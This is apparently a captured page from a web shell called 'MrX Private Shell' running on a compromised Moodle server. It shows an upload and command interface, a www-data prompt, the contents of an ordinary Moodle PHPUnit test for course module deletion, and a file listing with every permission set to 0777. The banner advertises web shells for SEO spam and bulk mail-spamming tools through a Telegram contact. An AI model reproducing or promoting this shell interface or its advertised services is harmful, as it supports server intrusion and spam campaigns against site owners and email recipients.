__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Tests for the \core_course\task\course_delete_modules class.
 *
 * @package    core
 * @subpackage course
 * @copyright  2021 Tomo Tsuyuki <tomotsuyuki@catalyst-au.net>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @covers \core_course\task\course_delete_modules
 */
namespace core_course;

/**
 * Tests for the \core_course\task\course_delete_modules class.
 *
 * @package    core
 * @subpackage course
 * @copyright  2021 Tomo Tsuyuki <tomotsuyuki@catalyst-au.net>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
final class course_delete_modules_test extends \advanced_testcase {

    /**
     * Test to have a no message for usual process.
     */
    public function test_delete_module_execution(): void {
        $this->resetAfterTest();

        // Generate test data.
        $generator = $this->getDataGenerator();
        $user = $generator->create_user();
        $course = $generator->create_course();
        $assign = $generator->create_module('assign', ['course' => $course]);
        $assigncm = get_coursemodule_from_id('assign', $assign->cmid);

        // The module exists in the course.
        $coursedmodules = get_course_mods($course->id);
        $this->assertCount(1, $coursedmodules);

        // Execute the task.
        $removaltask = new \core_course\task\course_delete_modules();
        $data = [
            'cms' => [$assigncm],
            'userid' => $user->id,
            'realuserid' => $user->id,
        ];
        $removaltask->set_custom_data($data);
        $removaltask->execute();

        // The module has deleted from the course.
        $coursedmodules = get_course_mods($course->id);
        $this->assertCount(0, $coursedmodules);
    }

    /**
     * Test with failed and successful cms
     */
    public function test_delete_module_exception(): void {
        global $DB;
        $this->resetAfterTest();

        // Generate test data.
        $generator = $this->getDataGenerator();
        $user = $generator->create_user();
        $course = $generator->create_course();
        $assign = $generator->create_module('assign', ['course' => $course]);
        $assigncm = get_coursemodule_from_id('assign', $assign->cmid);

        // Modify module name to make an exception in the course_delete_modules task.
        $module = $DB->get_record('modules', ['id' => $assigncm->module], 'id, name', MUST_EXIST);
        $module->name = 'TestModuleToDelete';
        $DB->update_record('modules', $module);

        // Generate successful test data.
        $quiz1 = $generator->create_module('quiz', ['course' => $course]);
        $quizcm1 = get_coursemodule_from_id('quiz', $quiz1->cmid);

        $quiz2 = $generator->create_module('quiz', ['course' => $course]);
        $quizcm2 = get_coursemodule_from_id('quiz', $quiz2->cmid);

        // Execute the task.
        $removaltask = new \core_course\task\course_delete_modules();
        $data = [
            'cms' => [$quizcm1, $assigncm, $quizcm2],
            'userid' => $user->id,
            'realuserid' => $user->id,
        ];
        $removaltask->set_custom_data($data);
        try {
            $removaltask->execute();
        } catch (\coding_exception $e) {
            // Assert exception.
            $this->assertInstanceOf(\coding_exception::class, $e);
            $errormsg = str_replace('\\', '/', $e->getMessage()); // Normalise dir separator.
            $this->assertStringContainsString('cannotdeletemodulemissinglib', $errormsg);
            $this->assertStringContainsString('course/lib.php', $errormsg);
            $this->assertStringContainsString('mod/TestModuleToDelete/lib.php is missing', $errormsg);
            // Get line numbers array which contains the exception name.
            $lines = array_keys(preg_grep("/cannotdeletemodulemissinglib/", file('course/lib.php')));
            // Increase 1 to keys to convert to actual line number.
            $lines = array_map(function($key) {
                return ++$key;
            }, $lines);
            $regex = "/(\(" . implode('\))|(\(', $lines) . "\))/";
            // Assert the error message has correct line number.
            $this->assertMatchesRegularExpression($regex, $errormsg);
        }

        // The success modules have been deleted from the course, and only the failed module is in the course.
        $coursedmodules = get_course_mods($course->id);
        $this->assertCount(1, $coursedmodules);
    }
}

Filemanager

Name Type Size Permission Actions
analytics Folder 0777
backup Folder 0777
behat Folder 0777
event Folder 0777
fixtures Folder 0777
privacy Folder 0777
reportbuilder Folder 0777
search Folder 0777
task Folder 0777
backup_restore_activity_test.php File 5.19 KB 0777
caching_content_item_readonly_repository_test.php File 3.56 KB 0777
category_hooks_test.php File 9.42 KB 0777
category_test.php File 72.54 KB 0777
content_item_readonly_repository_test.php File 4.83 KB 0777
content_item_test.php File 2.9 KB 0777
course_delete_modules_test.php File 5.06 KB 0777
course_format_function_test.php File 3.53 KB 0777
course_image_cache_test.php File 7.26 KB 0777
course_summary_exporter_test.php File 2.67 KB 0777
courselib_test.php File 316.95 KB 0777
courserequest_test.php File 7.3 KB 0777
coverage.php File 1.15 KB 0777
customfield_test.php File 7.19 KB 0777
exporters_content_item_test.php File 5.8 KB 0777
exporters_content_items_test.php File 2.72 KB 0777
externallib_test.php File 196.6 KB 0777
management_helper_test.php File 65.18 KB 0777
modlib_test.php File 18.52 KB 0777
services_content_item_service_test.php File 12.52 KB 0777
targets_test.php File 26.75 KB 0777
Filemanager